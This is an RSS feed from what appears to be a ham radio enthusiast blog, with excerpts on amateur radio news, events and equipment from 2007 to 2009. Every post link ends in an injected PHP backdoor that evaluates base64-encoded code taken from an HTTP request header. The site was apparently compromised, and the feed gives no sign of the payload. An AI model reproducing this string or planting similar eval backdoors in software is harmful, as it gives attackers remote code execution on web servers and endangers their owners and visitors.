http://ke2yk.org/blog News, Events And Reviews For The Ham Radio Enthusiast! Sun, 02 Aug 2009 10:40:30 +0000 http://backend.userland.com/rss092 en For his 80th birthday on Saturday, retired nephrologist (I learned something new today...(A nephrologist is a physician who has been educated and trained in kidney diseases, kidney transplantation, and dialysis therapy... etc.)) Eugene Clark plans to ride his bike on a 100-mile trip from Quincy, Fla. to Albany, GA along with friends ... http://ke2yk.org/blog/2009/08/02/ham-cyclist-80-completes-100-mile-ride/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ From the ARRL Web site and the 7/24/09 ARRL Letter: Inappropriate Use of Amateur Radio: The Board authorized the President to appoint an ad hoc committee to prepare guidelines for use by the amateur community and others to identify inappropriate uses of Amateur Radio, while preserving our role of providing communications ... http://ke2yk.org/blog/2009/07/26/inappropriate-transmissions-during-emergencies-whats-next/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Kids these days are consumed by cell phones, Twitter Tweets, text messaging and Facebook. However, there is a group of youngsters in Calabasas, CA. that have become licensed Amateur Radio Operators. That action has led them to become leaders in a new wave of shortwave listeners. They still consider Morse Code and ... http://ke2yk.org/blog/2009/07/25/middle-school-kids-lean-about-ham-radio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ by Jasmin Malik Chua, Jersey City, USA on 11.26.07 [youtube=http://www.youtube.com/watch?v=TdMIeABaH7Q] Although the Canadian engineer behind this solar-powered ham-radio setup uses it for camping and search-and-rescue missions, we can also see this being adopted for broader emergency use, especially in the aftermath of natural disasters that may damage power lines and cellphone towers. ... http://ke2yk.org/blog/2007/12/07/hamradioing-it-up-with-solar-power/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ [youtube=http://www.youtube.com/watch?v=pdcY0Eetvsw] http://ke2yk.org/blog/2007/11/30/broadband-over-powerlines-a-radio-amateurs-perspective-by-vk7tw/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ By D'ARCY DORAN – Nov 16, 2007   LONDON (AP) — A rebuilt World War II code-cracking computer developed to intercept Nazi messages lost to a desktop computer Friday in a contest to decipher an encrypted radio message. The challenge marked the first time the Colossus machine had been used ... http://ke2yk.org/blog/2007/11/24/pc-beats-wwii-computer-in-code-challenge/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Saturday, Nov. 17, 2007 (By CARLA MCCANN) Fort Atkinson No electricity? You still have options. No electricity and no phone line? Well, there’s still ham radio.Much of the ham radio’s appeal is its independence, said Dennis Rybicke, a member of the JefCARES, an Amateur Radio Emergency Service in Jefferson County. ... http://ke2yk.org/blog/2007/11/24/ham-radio-operators-have-fun-help-keep-communities-safe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ clipped from www.arrl.orgREVISED Nov 21, 2007 13:44 ETFCC Revokes Amateur License of California Ham The FCC issued an Order of Revocation to Robert D. Landis, N6FRV, on Tuesday, November 20. The Commission said that "[b]ased on the evidence of his convictions for child molestation, we conclude that ... http://ke2yk.org/blog/2007/11/24/california-ham-gets-licensed-revoked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ From NAQCC VP John, K3WWP: Issue #058 of our newsletter in its new format is now posted on the NAQCC web site. In that newsletter you'll find info about our NAQCC sprint which takes place this Wednesday evening, November 21 - or in UTC that's Thursday, November 22 0130-0330Z. Note the switch ... http://ke2yk.org/blog/2007/11/18/naqcc-newsletter-058/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Now that Motorola is going to have controlling interest in Yaesu/Vertex, I began thinking about how this new "controlling interest" may affect the Yaesu's future product line and service department. Back when Vertex took on Yaesu, its quality control and product line literally came back from the edge of extinction. ... http://ke2yk.org/blog/2007/11/17/yaesu-past-present-and-future/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/